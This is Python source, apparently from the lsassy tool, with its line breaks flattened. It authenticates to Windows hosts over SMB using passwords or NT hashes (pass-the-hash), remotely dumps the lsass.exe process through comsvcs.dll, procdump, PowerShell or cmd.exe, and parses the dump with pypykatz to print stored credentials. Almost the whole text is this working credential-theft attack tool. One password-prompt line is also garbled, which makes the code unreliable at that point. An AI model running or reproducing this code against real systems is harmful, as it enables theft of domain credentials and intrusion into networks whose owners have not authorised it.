class ImpacketConnection: def __init__(self, conn=None, debug=False): self._log = Logger(debug) self.conn = conn @staticmethod def from_args(arg, debug=False): pattern = re.compile( r"^(?:(?P<domain_name>[a-zA-Z0-9._-]+)/)?(?P<username>[^:/]+)(?::(?P<password>.*))?@(?P<hostname>[a-zA-Z0-9.-]+):/(?P<share_name>[^/]+)(?P<filePath>/(?:[^/]*/)*[^/]+)$" ) matches = pattern.search(arg.target) if matches is None: raise Exception( "{} is not valid. Expected format : [domain/]username[:password]@host:/share_name/path/to/file" .format(arg.target)) domain_name, username, password, hostname, share_name, filePath = matches.groups( ) if matches.group("domain_name") is None: domain_name = "." if matches.group("password") is None and arg.hashes is None: import getpass password = getpass.getpass(prompt='Password: '******':' in arg.hashes: lmhash, nthash = arg.hashes.split(':') else: lmhash = 'aad3b435b51404eeaad3b435b51404ee' nthash = arg.hashes else: lmhash = '' nthash = '' return ImpacketConnection(debug=debug).login( hostname, domain_name, username, password, lmhash, nthash), share_name, filePath def login(self, ip, domain_name, username, password, lmhash, nthash): try: ip = list({addr[-1][0] for addr in getaddrinfo(ip, 0, 0, 0, 0)})[0] except gaierror: raise Exception( "No DNS found to resolve %s.\n" "Please make sure that your DNS settings can resolve %s" % (ip, ip)) conn = SMBConnection(ip, ip) username = username.split("@")[0] self._log.debug("Authenticating against {}".format(ip)) try: conn.login(username, password, domain=domain_name, lmhash=lmhash, nthash=nthash, ntlmFallback=True) self._log.debug("Authenticated") except SessionError as e: e_type, e_msg = e.getErrorString() self._log.error("{}: {}".format(e_type, e_msg)) self._log.debug("Provided credentials : {}\\{}:{}".format( domain_name, username, password)) sys.exit(1) except Exception as e: raise Exception("Unknown error : {}".format(e)) self.conn = conn return self def connectTree(self, share_name): return self.conn.connectTree(share_name) def openFile(self, tid, fpath): while True: try: fid = self.conn.openFile(tid, fpath, desiredAccess=FILE_READ_DATA) self._log.debug("File {} opened".format(fpath)) return fid except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(2) else: raise Exception(e) def queryInfo(self, tid, fid): while True: try: info = self.conn.queryInfo(tid, fid) return info except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(2) else: raise Exception(e) def getFile(self, share_name, path_name, callback): while True: try: self.conn.getFile(share_name, path_name, callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(2) else: raise Exception(e) def deleteFile(self, share_name, path_name): while True: try: self.conn.deleteFile(share_name, path_name) self._log.debug("File {} deleted".format(path_name)) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: time.sleep(2) else: raise Exception(e) def putFile(self, share_name, path_name, callback): try: self.conn.putFile(share_name, path_name, callback) self._log.debug("File {} uploaded".format(path_name)) except Exception as e: raise Exception( "An error occured while uploading %s on %s share : %s" % (path_name, share_name, e)) def readFile(self, tid, fid, offset, size): return self.conn.readFile(tid, fid, offset, size, singleCall=False) def close(self): self.conn.close()
def run(): import argparse examples = '''examples: ** RunDLL Dump Method ** lsassy adsec.local/pixis:[email protected] ** Try all methods ** lsassy -m 0 adsec.local/pixis:[email protected] ** Procdump Dump Method ** lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected] ** Remote parsing only ** lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected] ** Output functions ** lsassy -j -q [email protected] lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]''' parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format(version), epilog=examples, formatter_class=argparse.RawTextHelpFormatter) group_dump = parser.add_argument_group('dump') group_dump.add_argument('-m', '--method', action='store', default="1", help='''Dumping method 0: Try all methods (dll then procdump) to dump lsass, stop on success (Requires -p if dll method fails) 1: comsvcs.dll method, stop on success (default) 2: Procdump method, stop on success (Requires -p) 3: comsvcs.dll + Powershell method, stop on success 4: comsvcs.dll + cmd.exe method''') group_dump.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)') group_dump.add_argument('-p', '--procdump', action='store', help='Procdump path') group_dump.add_argument( '--timeout', default="10", action='store', help='Timeout before considering lsass was not dumped successfully') group_auth = parser.add_argument_group('authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('output') group_out.add_argument('-j', '--json', action='store_true', help='Print credentials in JSON format') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_extract = parser.add_argument_group('remote parsing only') group_extract.add_argument( '--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') parser.add_argument( '-r', '--raw', action='store_true', help= 'No basic result filtering (Display host credentials and duplicates)') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>') if len(sys.argv) == 1: parser.print_help() return 1 args = parser.parse_args() logger = Logger(args.debug, args.quiet) try: conn = ImpacketConnection.from_args(args, logger) except Exception as e: logger.error("Connexion refused") logger.debug("Error : {}".format(e)) return 2 dumper = None if not args.dumppath: dumper = Dumper(conn, args, logger) ifile = dumper.dump() if not ifile: logger.error("Process lsass.exe could not be dumped") return 3 logger.success("Process lsass.exe has been dumped") else: ifile = ImpacketFile(conn, logger) try: ifile.open(args.dumppath) except Exception as e: logger.error( "lsass dump file does not exist. Use --debug flag for more details" ) logger.debug("Error : {}".format(str(e))) return 4 dumpfile = pypykatz.parse_minidump_external(ifile) ifile.close() parser = Parser(dumpfile, logger) parser.output(args) if dumper is not None: dumper.clean() conn.close() return 0